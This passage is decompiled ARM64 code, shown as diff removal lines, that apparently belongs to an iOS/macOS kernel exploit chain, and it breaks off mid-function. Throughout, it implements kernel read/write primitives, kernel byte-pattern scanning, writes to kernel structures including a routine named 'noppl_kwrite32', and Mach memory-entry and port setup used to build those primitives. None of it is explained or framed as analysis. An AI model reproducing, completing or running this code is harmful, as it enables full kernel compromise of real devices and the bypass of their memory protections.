-__int64 __fastcall sub_96D8(__int64 a1, _QWORD *a2) -{ - __int64 v4; // x20 - __int64 v5; // x9 - __int64 v6; // x22 - __int64 v7; // x21 - __int64 result; // x0 - _OWORD v9[16]; // [xsp+0h] [xbp-240h] BYREF - _OWORD v10[16]; // [xsp+100h] [xbp-140h] BYREF - - v4 = *(_QWORD *)(a1 + 0x5D0); - (*(void (__fastcall **)(__int64, _QWORD))(a1 + 0x5B8))(v4, a2[0xD]); - vm_deallocate(mach_task_self_, a2[0xD], 0x4000uLL); - a2[0xD] = 0LL; - v5 = *(_QWORD *)(a1 + 0x540); - v6 = a2[2] - v5; - v7 = a2[0xC] - v5; - memset(v10, 0, sizeof(v10)); - (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v4 + 0x30))(v4, v6, v10, 0x100LL, 1LL); - DWORD2(v10[2]) = 3; - (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 0x40))( - v4, - v6 + 0x28, - (char *)&v10[2] + 8, - 4LL, - 1LL); - memset(v9, 0, sizeof(v9)); - (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v4 + 0x30))(v4, v7, v9, 0x100LL, 1LL); - *((_QWORD *)&v9[4] + 1) = 0LL; - (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 0x40))( - v4, - v7 + 0x48, - (char *)&v9[4] + 8, - 8LL, - 1LL); - vm_deallocate(mach_task_self_, a2[0x14], 0x4000uLL); - a2[0x14] = 0LL; - vm_deallocate(mach_task_self_, a2[0x15], 0x10000uLL); - a2[0x15] = 0LL; - vm_deallocate(mach_task_self_, a2[0x16], 0x10000uLL); - a2[0x16] = 0LL; - vm_deallocate(mach_task_self_, a2[0x17], 0x10000uLL); - a2[0x17] = 0LL; - vm_deallocate(mach_task_self_, a2[0x18], 0x10000uLL); - a2[0x18] = 0LL; - result = vm_deallocate(mach_task_self_, a2[0x19], 0x10000uLL); - a2[0x19] = 0LL; - return result; -} - -//----- (00000000000098A4) ---------------------------------------------------- -__int64 __fastcall sub_98A4(__int64 a1, _QWORD *a2) -{ - __int64 v3; // x20 - __int64 v4; // x9 - __int64 v5; // x23 - __int64 v6; // x22 - __int64 v7; // x21 - __int64 result; // x0 - _OWORD v9[16]; // [xsp+0h] [xbp-340h] BYREF - _OWORD v10[16]; // [xsp+100h] [xbp-240h] BYREF - _OWORD v11[16]; // [xsp+200h] [xbp-140h] BYREF - - v3 = *(_QWORD *)(a1 + 0x5D0); - v4 = *(_QWORD *)(a1 + 0x540); - v5 = a2[2] - v4; - v6 = a2[7] - v4; - v7 = a2[0xC] - v4; - memset(v11, 0, sizeof(v11)); - (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v5, v11, 0x100LL, 1LL); - *((_QWORD *)&v11[4] + 1) = 0LL; - (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( - v3, - v5 + 0x48, - (char *)&v11[4] + 8, - 8LL, - 1LL); - memset(v10, 0, sizeof(v10)); - (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v6, v10, 0x100LL, 1LL); - *((_QWORD *)&v10[4] + 1) = 0LL; - (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( - v3, - v6 + 0x48, - (char *)&v10[4] + 8, - 8LL, - 1LL); - memset(v9, 0, sizeof(v9)); - (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v7, v9, 0x100LL, 1LL); - *((_QWORD *)&v9[4] + 1) = 0LL; - (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( - v3, - v7 + 0x48, - (char *)&v9[4] + 8, - 8LL, - 1LL); - *((_QWORD *)&v9[3] + 1) = 0LL; - (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( - v3, - v7 + 0x38, - (char *)&v9[3] + 8, - 8LL, - 1LL); - vm_deallocate(mach_task_self_, a2[0x14], 0x4000uLL); - a2[0x14] = 0LL; - vm_deallocate(mach_task_self_, a2[0x1A], 0x10000uLL); - a2[0x1A] = 0LL; - vm_deallocate(mach_task_self_, a2[0x1B], 0x10000uLL); - a2[0x1B] = 0LL; - vm_deallocate(mach_task_self_, a2[0x1C], 0x10000uLL); - a2[0x1C] = 0LL; - result = vm_deallocate(mach_task_self_, a2[0x1D], 0x10000uLL); - a2[0x1D] = 0LL; - return result; -} - -//----- (0000000000009AC0) ---------------------------------------------------- -void __fastcall sub_9AC0(__int64 a1) -{ - __int64 v2; // x24 - __int64 v3; // x20 - vm_address_t **v4; // x27 - vm_address_t *v5; // x21 - vm_address_t *v6; // x26 - _QWORD *v7; // x25 - __int64 v8; // x9 - __int64 v9; // x23 - _QWORD *v10; // x28 - __int64 v11; // x22 - __int64 v12; // x21 - __int64 v13; // x1 - __int64 v14; // x21 - vm_address_t *v15; // x21 - __int64 v16; // [xsp+28h] [xbp-488h] - __int64 v17; // [xsp+30h] [xbp-480h] - _QWORD *v18; // [xsp+38h] [xbp-478h] - _OWORD v19[16]; // [xsp+40h] [xbp-470h] BYREF - _OWORD v20[16]; // [xsp+140h] [xbp-370h] BYREF - _OWORD v21[16]; // [xsp+240h] [xbp-270h] BYREF - _OWORD v22[16]; // [xsp+340h] [xbp-170h] BYREF - _QWORD v23[2]; // [xsp+440h] [xbp-70h] - - v2 = 0LL; - v3 = *(_QWORD *)(a1 + 0x5D0); - v4 = (vm_address_t **)(a1 + 0x4B8); - v23[0] = a1 + 0x4B8; - v23[1] = a1 + 0x4D8; - v16 = a1 + 0x4D8; - v17 = a1 + 0x4B8; - while ( 1 ) - { - v5 = v4[1]; - if ( v5 ) - break; - v6 = *v4; - v7 = *v4 + 2; - v8 = *(_QWORD *)(a1 + 0x540); - v9 = *v7 - v8; - v10 = *v4 + 7; - v11 = *v10 - v8; - v18 = *v4 + 0xC; - v12 = *v18 - v8; - memset(v22, 0, sizeof(v22)); - (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v9, v22, 0x100LL, 1LL); - *((_QWORD *)&v22[4] + 1) = 0LL; - (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( - v3, - v9 + 0x48, - (char *)&v22[4] + 8, - 8LL, - 1LL); - memset(v21, 0, sizeof(v21)); - (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v11, v21, 0x100LL, 1LL); - *((_QWORD *)&v21[4] + 1) = 0LL; - (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( - v3, - v11 + 0x48, - (char *)&v21[4] + 8, - 8LL, - 1LL); - memset(v20, 0, sizeof(v20)); - (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v12, v20, 0x100LL, 1LL); - *((_QWORD *)&v20[4] + 1) = 0LL; - (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( - v3, - v12 + 0x48, - (char *)&v20[4] + 8, - 8LL, - 1LL); - *((_QWORD *)&v20[3] + 1) = 0LL; - (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( - v3, - v12 + 0x38, - (char *)&v20[3] + 8, - 8LL, - 1LL); - if ( v4 == (vm_address_t **)v16 ) - { - sub_6448(v6[0x1A]); - v14 = v13 - *(_QWORD *)(a1 + 0x540); - memset(v19, 0, sizeof(v19)); - (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v14, v19, 0x100LL, 1LL); - DWORD2(v19[2]) = 2; - (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( - v3, - v14 + 0x28, - (char *)&v19[2] + 8, - 4LL, - 1LL); - } - vm_deallocate(mach_task_self_, v6[0x1C], 0x10000uLL); - v6[0x1C] = 0LL; - vm_deallocate(mach_task_self_, v6[0x1D], 0x10000uLL); - v6[0x1D] = 0LL; - if ( v4 == (vm_address_t **)v17 ) - { - vm_deallocate(mach_task_self_, v6[0x1A], 0x10000uLL); - v6[0x1A] = 0LL; - vm_deallocate(mach_task_self_, v6[0x1B], 0x10000uLL); - v6[0x1B] = 0LL; - vm_deallocate(mach_task_self_, v6[0x1E], 0xC000uLL); - v6[0x1E] = 0LL; - v15 = v6 + 0x1F; - } - else - { - vm_deallocate(mach_task_self_, v6[0x1A], 0xC000uLL); - v6[0x1A] = 0LL; - v15 = v6 + 0x1B; - } - vm_deallocate(mach_task_self_, *v15, 0xC000uLL); - *v15 = 0LL; - sub_91E0(a1, (__int64)v7); - sub_91E0(a1, (__int64)v10); - sub_91E0(a1, (__int64)v18); - free(v6); - if ( ++v2 == 2 ) - return; - v4 = (vm_address_t **)v23[v2]; - } - v4[1] = (vm_address_t *)*v5; - switch ( v5[1] ) - { - case 1uLL: - sub_93B0(a1, (__int64)v5); - break; - case 2uLL: - sub_9410(a1, v5); - break; - case 3uLL: - sub_94B0(a1, v5); - break; - case 4uLL: - sub_9588(a1, v5); - break; - case 5uLL: - sub_96D8(a1, v5); - break; - case 6uLL: - sub_98A4(a1, v5); - break; - default: - JUMPOUT(0x9BDCLL); - } - def_9B7C(); -} -// 9B7C: control flows out of bounds to 9BDC -// 9D9C: variable 'v13' is possibly undefined - -//----- (0000000000009BDC) ---------------------------------------------------- -void def_9B7C() -{ - __int64 v0; // x19 - void *v1; // x21 - - sub_91E0(v0, (__int64)v1 + 0x10); - sub_91E0(v0, (__int64)v1 + 0x38); - sub_91E0(v0, (__int64)v1 + 0x60); - free(v1); - JUMPOUT(0x9B40LL); -} -// 9C08: control flows out of bounds to 9B40 -// 9BE4: variable 'v0' is possibly undefined -// 9BDC: variable 'v1' is possibly undefined - -//----- (0000000000009F4C) ---------------------------------------------------- -__int64 __fastcall sub_9F4C(__int64 a1) -{ - _QWORD *v2; // x0 - __int64 (__fastcall *v3)(__int64, __int64); // x2 - __int64 v4; // x0 - __int64 v5; // x1 - __int64 vars8; // [xsp+18h] [xbp+8h] - - v2 = *(_QWORD **)a1; - if ( v2 ) - { - do - { - *(_QWORD *)a1 = *v2; - sub_68F4((__int64)v2); - v2 = *(_QWORD **)a1; - } - while ( *(_QWORD *)a1 ); - } - vm_deallocate(mach_task_self_, *(_QWORD *)(a1 + 0x20), (*(_QWORD *)(a1 + 0x598) << 0xE) + 0xC000LL); - *(_QWORD *)(a1 + 0x20) = 0LL; - sub_9150(a1); - sub_925C(a1); - sub_9AC0(a1); - atomic_load((unsigned __int8 *)(a1 + 0x500)); - atomic_load((unsigned __int8 *)(a1 + 0x510)); - v3 = *(__int64 (__fastcall **)(__int64, __int64))(a1 + 0x5C8); - v4 = *(_QWORD *)(a1 + 0x5D0); - v5 = *(_QWORD *)(a1 + 0x550); - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return v3(v4, v5); -} -// 9FE0: variable 'vars8' is possibly undefined - -//----- (0000000000009FF0) ---------------------------------------------------- -void __fastcall sub_9FF0(vm_address_t *a1) -{ - __int64 vars8; // [xsp+18h] [xbp+8h] - - a1[0xB0] = 0LL; - vm_deallocate(mach_task_self_, a1[0xA9], 0xC000uLL); - a1[0xA9] = 0LL; - vm_deallocate(mach_task_self_, a1[0xAA], 0xC000uLL); - a1[0xAA] = 0LL; - vm_deallocate(mach_task_self_, a1[0xAC], 0xC000uLL); - a1[0xAC] = 0LL; - vm_deallocate(mach_task_self_, a1[0xAD], 0xC000uLL); - a1[0xAD] = 0LL; - vm_deallocate(mach_task_self_, a1[0xAF], 0xC000uLL); - a1[0xAF] = 0LL; - bzero(a1, 0x5E8uLL); - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - free(a1); -} -// A090: variable 'vars8' is possibly undefined - -//----- (000000000000A0A0) ---------------------------------------------------- -__int64 __fastcall sub_A0A0(__int64 a1) -{ - __int64 v2; // x20 - __int64 v3; // x0 - unsigned __int64 v4; // x0 - unsigned __int64 v5; // x21 - unsigned __int64 v6; // x22 - unsigned __int64 v7; // x22 - __int64 v8; // x0 - __int64 *v9; // x0 - __int64 v10; // x24 - unsigned __int64 v11; // x25 - __int64 v12; // x23 - __int64 v13; // x21 - _QWORD v15[3]; // [xsp+0h] [xbp-A0h] BYREF - _QWORD v16[3]; // [xsp+18h] [xbp-88h] BYREF - int v17; // [xsp+34h] [xbp-6Ch] BYREF - unsigned __int64 v18; // [xsp+38h] [xbp-68h] BYREF - int v19; // [xsp+40h] [xbp-60h] BYREF - int v20; // [xsp+44h] [xbp-5Ch] BYREF - __int64 v21; // [xsp+48h] [xbp-58h] BYREF - __int64 v22; // [xsp+50h] [xbp-50h] BYREF - __int64 v23; // [xsp+58h] [xbp-48h] BYREF - - v2 = 0xAD011LL; - v23 = 0LL; - v21 = 0LL; - v22 = 0LL; - sub_19D10(*(_QWORD *)(a1 + 0x19F8), v16); - v3 = kernel_pattern_scan((__int64)v16, "08 3D 40 92 09 18 80 52", 0); - if ( !v3 ) - return v2; - v4 = sub_1E620(*(__int64 **)(a1 + 0x19F8), v3 + 8); - if ( !v4 ) - return v2; - v5 = v4; - v6 = v4 + 0x1BC0; - if ( !kread64((_DWORD *)a1, v4 + 0x1BC0, &v22) ) - return 0x2800FLL; - if ( v6 != v22 ) - return 0x28026LL; - if ( !kread64((_DWORD *)a1, v5 + 0x1BD0, &v23) ) - return 0x2800FLL; - if ( (unsigned __int64)(v23 + 0x1000000000000LL) > 0xFFFFFFFFEFFELL ) - return 0x28026LL; - if ( !(unsigned int)kreadbuf_last_1(a1, v23, 4LL, (__int64)&v19) ) - return 0x2800FLL; - if ( v19 != 0x6F206D76 ) - return 0x28011LL; - v7 = v5 + 0x1C00; - if ( !kread64((_DWORD *)a1, v5 + 0x1C00, &v21) ) - return 0x2800FLL; - if ( validate_addr(a1, v21) ) - return 0LL; - sub_19D10(*(_QWORD *)(a1 + 0x19F8), v15); - v8 = kernel_pattern_scan((__int64)v15, "1F 01 0A EB 41 00 00 54 C0 03 5F D6 .. .. .. F9", 0); - if ( v8 ) - { - v9 = (__int64 *)sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v8 - 8)); - if ( v9 ) - { - v10 = (__int64)v9; - v11 = sub_19B30(*(__int64 **)(a1 + 0x19F8), v9); - v12 = v5 + 0x1C68; - if ( (unsigned int)kreadbuf_last_1(a1, v5 + 0x1C68, 4LL, (__int64)&v20) ) - { - if ( v20 ) - { - v17 = 2 * v20; - v13 = v5 + 0x1C08; - v2 = 0x28010LL; - if ( (unsigned int)kwritebuf_last_1(a1, v13, (__int64)&v17, 4LL) ) - { - v18 = v11 + 0xCCCC; - if ( (unsigned int)kwritebuf_last_1(a1, v10, (__int64)&v18, 4LL) ) - { - sub_2AABC(a1, 0x1312D0u); - v2 = 0x2800FLL; - if ( kread64((_DWORD *)a1, v7, &v21) ) - { - if ( validate_addr(a1, v21) || (v17 = 0, (unsigned int)kwritebuf_last_1(a1, v13, (__int64)&v17, 4LL)) ) - { - if ( (unsigned int)kreadbuf_last_1(a1, v12, 4LL, (__int64)&v20) ) - return 0LL; - else - return 0x2800FLL; - } - else - { - return 0x28010LL; - } - } - } - } - return v2; - } - return 0x28011LL; - } - return 0x2800FLL; - } - } - return v2; -} -// A0A0: too many cbuild loops - -//----- (000000000000A354) ---------------------------------------------------- -__int64 __fastcall sub_A354(__int64 a1, __int16 a2, char *a3, unsigned int a4, int a5) -{ - _QWORD *v5; // x21 - __int64 result; // x0 - int v10; // [xsp+Ch] [xbp-24h] BYREF - - v10 = 0xFFFFFFFF; - v5 = *(_QWORD **)(a1 + 0x50); - if ( !v5 ) - return 0xAD001LL; - if ( a5 ) - { - result = fd_open_dev_null(&v10); - if ( (_DWORD)result ) - return result; - sub_70A4(v5, a2, a3, a4); - fd_close(v10); - } - else - { - sub_70A4(*(_QWORD **)(a1 + 0x50), a2, a3, a4); - } - return 0LL; -} - -//----- (000000000000A3F0) ---------------------------------------------------- -__int64 __fastcall sub_A3F0(__int64 a1, __int16 a2, char *a3, unsigned int a4, int a5) -{ - __int64 v5; // x21 - __int64 result; // x0 - int v10; // [xsp+Ch] [xbp-24h] BYREF - - v10 = 0xFFFFFFFF; - v5 = *(_QWORD *)(a1 + 0x50); - if ( !v5 ) - return 0xAD001LL; - if ( a5 ) - { - result = fd_open_dev_null(&v10); - if ( (_DWORD)result ) - return result; - sub_7128(v5, a3, a2, a4); - fd_close(v10); - } - else - { - sub_7128(*(_QWORD *)(a1 + 0x50), a3, a2, a4); - } - return 0LL; -} - -//----- (000000000000A48C) ---------------------------------------------------- -__int64 __fastcall sub_A48C(__int64 a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5) -{ - __int64 result; // x0 - _QWORD *v7; // x21 - size_t v10; // x22 - int v11; // [xsp+Ch] [xbp-24h] BYREF - - result = 0xAD001LL; - v11 = 0xFFFFFFFF; - v7 = *(_QWORD **)(a1 + 0x50); - if ( v7 && (vm_page_mask & a2) + a4 <= vm_page_size ) - { - v10 = a4; - if ( a5 ) - { - result = fd_open_dev_null(&v11); - if ( (_DWORD)result ) - return result; - sub_6E30(v7, a2, a3, v10); - fd_close(v11); - } - else - { - sub_6E30(v7, a2, a3, a4); - } - return 0LL; - } - return result; -} - -//----- (000000000000A550) ---------------------------------------------------- -__int64 __fastcall sub_A550(__int64 a1, unsigned __int64 a2, const void *a3, unsigned int a4, int a5) -{ - __int64 result; // x0 - _QWORD *v7; // x21 - size_t v10; // x22 - int v11; // [xsp+Ch] [xbp-24h] BYREF - - result = 0xAD001LL; - v11 = 0xFFFFFFFF; - v7 = *(_QWORD **)(a1 + 0x50); - if ( v7 && (vm_page_mask & a2) + a4 <= vm_page_size ) - { - v10 = a4; - if ( a5 ) - { - result = fd_open_dev_null(&v11); - if ( (_DWORD)result ) - return result; - sub_6EB8(v7, a3, a2, v10); - fd_close(v11); - } - else - { - sub_6EB8(v7, a3, a2, a4); - } - return 0LL; - } - return result; -} - -//----- (000000000000A614) ---------------------------------------------------- -__int64 __fastcall sub_A614(__int64 a1) -{ - __int64 v2; // x21 - int v3; // w8 - __int128 v4; // q0 - _QWORD *v5; // x0 - _QWORD *v6; // x20 - _QWORD *v7; // x21 - __int128 v8; // q0 - __int128 v10; // [xsp+0h] [xbp-40h] - __int128 v11; // [xsp+10h] [xbp-30h] - - v2 = 0xAD008LL; - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x20) ) - return v2; - v3 = *(_DWORD *)a1 & 0x518E241; - if ( v3 == 0x100000 ) - { - v10 = xmmword_42D80; - v11 = xmmword_42D90; - } - else - { - if ( v3 == 0x4000000 ) - { - v11 = xmmword_42D70; - v4 = xmmword_42D60; - } - else - { - if ( v3 != 0x1000000 ) - return v2; - v11 = xmmword_42D70; - v4 = xmmword_42DA0; - } - v10 = v4; - } - v5 = calloc(1uLL, 0x5E8uLL); - if ( !v5 ) - return 0xAD009LL; - v6 = v5; - if ( *((_QWORD *)&_os_alloc_once_table + 0xA2) == 0xFFFFFFFFFFFFFFFFLL ) - v7 = (_QWORD *)*((_QWORD *)&_os_alloc_once_table + 0xA3); - else - v7 = (_QWORD *)_os_alloc_once(); - if ( *v7 ) - v6[2] = *v7; - *(_OWORD *)(v6 + 0xB3) = v11; - *(_OWORD *)(v6 + 0xB5) = v10; - if ( (_QWORD)v11 == 0x10LL ) - { - v8 = xmmword_42D40; - goto LABEL_19; - } - if ( (_QWORD)v11 == 0x40LL ) - { - v8 = xmmword_42D50; -LABEL_19: - *(_OWORD *)(v6 + 0xBB) = v8; - } - setup_thread_policy(); - sub_7630(v6); - sub_7E84(v6); - sub_8710(v6); - sub_8758(v6); - sub_9018(v6); - v6[0xBA] = a1; - if ( !*v7 ) - *v7 = v6[2]; - v2 = 0LL; - *(_QWORD *)(a1 + 0x30) = sub_A354; - *(_QWORD *)(a1 + 0x40) = sub_A3F0; - *(_QWORD *)(a1 + 0x38) = sub_A48C; - *(_QWORD *)(a1 + 0x48) = sub_A550; - *(_QWORD *)(a1 + 0x50) = v6; - v6[0xB7] = sub_A82C; - v6[0xB8] = sub_A8A0; - v6[0xB9] = sub_A914; - *(_QWORD *)(a1 + 0x1E0) = sub_A0A0; - *(_QWORD *)(a1 + 0x1E8) = v6; - return v2; -} -// 42D40: using guessed type __int128 xmmword_42D40; -// 42D50: using guessed type __int128 xmmword_42D50; -// 42D60: using guessed type __int128 xmmword_42D60; -// 42D70: using guessed type __int128 xmmword_42D70; -// 42D80: using guessed type __int128 xmmword_42D80; -// 42D90: using guessed type __int128 xmmword_42D90; -// 42DA0: using guessed type __int128 xmmword_42DA0; - -//----- (000000000000A82C) ---------------------------------------------------- -__int64 __fastcall sub_A82C(_DWORD *a1, unsigned __int64 a2) -{ - __int64 result; // x0 - unsigned __int64 v4; // x20 - bool v5; // zf - __int64 v6; // [xsp+8h] [xbp-18h] BYREF - - result = sub_33B98(a1, mach_task_self_, a2); - if ( result ) - { - v4 = result + 0x38; - result = kread64_internal((__int64)a1, result + 0x38, &v6); - if ( (_DWORD)result ) - v5 = v6 == 0; - else - v5 = 1; - if ( !v5 ) - return sub_288A4((__int64)a1, v4, 0LL); - } - return result; -} - -//----- (000000000000A8A0) ---------------------------------------------------- -__int64 __fastcall sub_A8A0(__int64 a1, unsigned int a2) -{ - __int64 result; // x0 - unsigned __int64 v4; // x20 - __int64 v5; // [xsp+8h] [xbp-18h] BYREF - - result = port_name_to_kaddr(a1, a2); - if ( result ) - { - result = sub_33A88(a1, result, 1); - if ( result ) - { - v4 = result + 0x38; - result = kread64_internal(a1, result + 0x38, &v5); - if ( (_DWORD)result ) - { - if ( v5 ) - return sub_288A4(a1, v4, 0LL); - } - } - } - return result; -} - -//----- (000000000000A914) ---------------------------------------------------- -unsigned __int64 __fastcall sub_A914(__int64 a1, unsigned __int64 a2) -{ - unsigned __int64 result; // x0 - mach_vm_address_t v4; // x20 - bool v5; // zf - int v6; // [xsp+4h] [xbp-1Ch] BYREF - unsigned __int64 v7; // [xsp+8h] [xbp-18h] BYREF - - v7 = 0LL; - v6 = 0; - result = sub_33D38(a1, mach_task_self_, a2, &v7); - if ( result ) - { - v4 = result + 0x28; - result = kread32_outptr(a1, result + 0x28, &v6); - if ( (_DWORD)result ) - v5 = v6 == 1; - else - v5 = 0; - if ( v5 ) - { - v6 = 0x64; - return noppl_kwrite32(a1, v4, 0x64); - } - } - return result; -} - -//----- (000000000000A99C) ---------------------------------------------------- -__int64 __fastcall sub_A99C(__int64 a1) -{ - __int64 v1; // x0 - - v1 = *(_QWORD *)(a1 + 0x50); - if ( !v1 ) - return 0xAD001LL; - sub_9F4C(v1); - return 0LL; -} - -//----- (000000000000A9CC) ---------------------------------------------------- -__int64 __fastcall sub_A9CC(__int64 a1) -{ - vm_address_t *v1; // x20 - __int64 result; // x0 - int v4; // [xsp+Ch] [xbp-14h] BYREF - - v4 = 0xFFFFFFFF; - v1 = *(vm_address_t **)(a1 + 0x50); - if ( !v1 ) - return 0xAD001LL; - result = fd_open_dev_null(&v4); - if ( !(_DWORD)result ) - { - *(_QWORD *)(a1 + 0x50) = 0LL; - *(_OWORD *)(a1 + 0x30) = 0u; - *(_OWORD *)(a1 + 0x40) = 0u; - sub_9FF0(v1); - fd_close(v4); - return 0LL; - } - return result; -} - -//----- (000000000000AA3C) ---------------------------------------------------- -__int64 __fastcall sub_AA3C(__int64 a1, _DWORD *a2, _DWORD *a3, mach_port_t *a4, _QWORD *a5) -{ - _QWORD *v5; // x25 - __int64 v11; // x19 - memory_object_offset_t v12; // x2 - kern_return_t memory_entry_64; // w0 - memory_object_size_t size; // [xsp+8h] [xbp-58h] BYREF - mach_port_t name; // [xsp+14h] [xbp-4Ch] BYREF - mach_port_t object_handle[2]; // [xsp+18h] [xbp-48h] BYREF - - *(_QWORD *)object_handle = 0LL; - name = 0; - v5 = *(_QWORD **)(a1 + 0x50); - if ( !v5 ) - return 0xAD001LL; - v11 = 0x28011LL; - if ( validate_addr(a1, v5[0xA3]) ) - { - if ( v5[0xA4] && v5[0xA5] ) - { - if ( validate_addr(a1, v5[0xA6]) && validate_addr(a1, v5[0xA7]) ) - { - v12 = v5[0xAA]; - if ( v12 && v5[0xAC] && v5[0xAF] ) - { - size = 0x4000LL; - memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v12, 3, &object_handle[1], 0); - if ( memory_entry_64 - || (size = 0x4000LL, - (memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v5[0xAC], 3, object_handle, 0)) != 0) - || (size = 0x4000LL, - (memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v5[0xAF] + 0x4000LL, 3, &name, 0)) != 0) ) - { - v11 = memory_entry_64 | 0x80000000; - } - else - { - v11 = 0LL; - a5[0xA] = v5[0xA3]; - a5[0xB] = 0LL; - a5[0xC] = v5[0xA4]; - a5[0xD] = v5[0xA5]; - a5[0xE] = v5[0xA6]; - a5[0xF] = v5[0xA7]; - *a2 = object_handle[1]; - *a3 = object_handle[0]; - *(_QWORD *)object_handle = 0LL; - *a4 = name; - name = 0; - } - } - } - else - { - v11 = 0x28026LL; - } - } - } - else - { - v11 = 0x28026LL; - } - if ( object_handle[1] + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, object_handle[1]); - if ( object_handle[0] + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, object_handle[0]); - if ( name + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, name); - return v11; -} - -//----- (000000000000AC50) ---------------------------------------------------- -__int64 __fastcall sub_AC50(__int64 a1) -{ - vm_size_t v2; // x20 - kern_return_t memory_entry; // w0 - __int64 result; // x0 - _QWORD *v5; // x4 - __int64 v6; // x0 - _DWORD *v7; // x20 - __int64 i; // x23 - unsigned int v9; // w21 - __int64 v10; // x0 - mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-94h] BYREF - vm_address_t address; // [xsp+10h] [xbp-90h] BYREF - vm_size_t size; // [xsp+18h] [xbp-88h] BYREF - __int128 v14; // [xsp+20h] [xbp-80h] - mach_port_t v15; // [xsp+3Ch] [xbp-64h] BYREF - __int64 v16; // [xsp+40h] [xbp-60h] BYREF - _DWORD v17[4]; // [xsp+48h] [xbp-58h] - - v16 = 0LL; - v15 = 0; - v2 = vm_page_size; - address = 0LL; - size = vm_page_size; - memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0LL, 0x20003, &object_handle, 0); - if ( memory_entry ) - return memory_entry | 0x80000000; - memory_entry = vm_map(mach_task_self_, &address, v2, 0LL, 1, object_handle, 0LL, 0, 3, 3, 2u); - if ( memory_entry ) - return memory_entry | 0x80000000; - bzero((void *)address, v2); - v5 = (_QWORD *)address; - *(_QWORD *)address = *(_QWORD *)(a1 + 0x19D0); - v5[4] = *(_QWORD *)(a1 + 0x1898); - v5[5] = *(unsigned int *)(a1 + 0x18A0); - result = sub_AA3C(a1, (_DWORD *)&v16 + 1, &v16, &v15, v5); - if ( !(_DWORD)result ) - { - vm_deallocate(mach_task_self_, address, v2); - v17[0] = object_handle; - v17[1] = HIDWORD(v16); - v17[2] = v16; - v17[3] = v15; - v14 = xmmword_43740; - v6 = sub_1BD80(a1, 0x15u); - if ( v6 ) - { - v7 = (_DWORD *)v6; - for ( i = 0LL; ; ++i ) - { - v9 = v17[i]; - v10 = sub_32D6C(a1, v9); - if ( !v10 ) - return 0x2800ELL; - result = sub_35E8C(a1, v10); - if ( (_DWORD)result ) - return result; - memory_entry = mach_port_mod_refs(mach_task_self_, v9, 0, 0xFFFF); - if ( memory_entry ) - return memory_entry | 0x80000000; - *v7 = v9; - if ( i == 3 ) - break; - v7 = (_DWORD *)sub_1BD80(a1, *(_DWORD *)((char *)&v14 + i * 4 + 4)); - result = 0x1001LL; - if ( !v7 ) - return result; - } - return sub_281F0(a1); - } - else - { - return 0x1001LL; - } - } - return result; -} -// 43740: using guessed type __int128 xmmword_43740; - -//----- (000000000000AE58) ---------------------------------------------------- -__int64 __fastcall sub_AE58( - __int64 a1, - _QWORD *a2, - mem_entry_name_port_t a3, - mem_entry_name_port_t a4, - mem_entry_name_port_t a5, - _QWORD *a6) -{ - __int64 v12; // x24 - __int64 v13; // x20 - __int64 v14; // x28 - __int64 v15; // x21 - __int64 v16; // x22 - kern_return_t v17; // w0 - _QWORD *v19; // x0 - vm_address_t v20; // x9 - __int64 v21; // [xsp+20h] [xbp-A0h] - vm_address_t v22; // [xsp+28h] [xbp-98h] BYREF - vm_address_t v23; // [xsp+30h] [xbp-90h] BYREF - vm_address_t v24; // [xsp+38h] [xbp-88h] BYREF - vm_prot_t cur_protection[2]; // [xsp+40h] [xbp-80h] BYREF - vm_address_t v26; // [xsp+48h] [xbp-78h] BYREF - vm_address_t v27; // [xsp+50h] [xbp-70h] BYREF - vm_address_t src_address; // [xsp+58h] [xbp-68h] BYREF - vm_address_t target_address; // [xsp+60h] [xbp-60h] BYREF - vm_address_t address; // [xsp+68h] [xbp-58h] BYREF - - v12 = 0x28011LL; - address = 0LL; - src_address = 0LL; - target_address = 0LL; - v26 = 0LL; - v27 = 0LL; - v13 = a6[0xA]; - if ( validate_addr(a1, v13) ) - { - v14 = a6[0xC]; - if ( v14 ) - { - if ( (*(_QWORD *)(a1 + 0x188) & v14) == 0 ) - { - v15 = a6[0xD]; - if ( v15 ) - { - v21 = a6[0xE]; - v12 = 0x28026LL; - if ( validate_addr(a1, v21) ) - { - v16 = a6[0xF]; - if ( 